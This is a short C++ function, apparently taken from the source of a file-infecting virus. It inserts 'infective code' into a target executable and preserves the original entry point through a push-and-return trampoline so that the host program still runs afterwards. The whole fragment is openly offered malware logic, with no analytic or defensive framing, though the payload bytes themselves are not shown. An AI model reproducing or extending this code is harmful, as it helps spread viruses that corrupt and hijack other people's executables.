bool Target::copyAndInfect()
{
  /* first part of original target */
  write(fd_dst, p.b, top);

  /* first byte is the opcode for "push" */
  write(fd_dst, infection, 1);

  /* next four bytes is the address to "ret" to */
  write(fd_dst, &original_entry, sizeof(original_entry));

  /* rest of infective code */
  write(fd_dst, infection + 5, INFECTION_SIZE - 5);

  /* rest of original target */
  write(fd_dst, p.b + top, filesize - top);

  return true;
}
